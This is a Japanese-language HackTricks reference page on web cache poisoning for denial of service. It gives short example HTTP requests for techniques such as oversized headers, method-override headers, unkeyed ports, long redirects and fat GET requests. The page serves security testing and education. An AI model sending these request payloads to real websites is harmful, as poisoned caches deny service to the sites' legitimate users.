Cache Poisoning to DoS
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
caution
このページでは、キャッシュサーバーに対して有効なリクエストに対して、ウェブサーバーがエラーで応答するようにするためのさまざまなバリエーションを見つけることができます。
- HTTP Header Oversize (HHO)
ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズのリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります。
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTPメタキャラクター (HMC) と予期しない値
有害なメタキャラクターを含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
不適切に構成されたヘッダーは、単に \:
というヘッダーである可能性があります。
予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- キーなしヘッダー
一部のウェブサイトは、X-Amz-Website-Location-Redirect: someThing ヘッダーのように、リクエスト内の特定のヘッダーを見るとエラーステータスコードを返します。
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTPメソッドオーバーライド攻撃 (HMO)
サーバーが X-HTTP-Method-Override
、X-HTTP-Method
、または X-Method-Override
のようなヘッダーでHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。これにより、サーバーがサポートしていないために不正なレスポンスがキャッシュされます。
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- 未鍵付きポート
Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- ロングリダイレクトDoS
次の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにし、エラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- ホストヘッダーのケース正規化
ホストヘッダーは大文字と小文字を区別しないはずですが、一部のウェブサイトは小文字であることを期待しており、そうでない場合はエラーを返します。
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- パスの正規化
一部のページは、パスにデータをURLエンコードして送信するとエラーコードを返しますが、キャッシュサーバーはパスをURLデコードし、URLデコードされたパスのレスポンスを保存します。
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
一部のキャッシュサーバー、例えばCloudflareやウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります。
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
参考文献
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。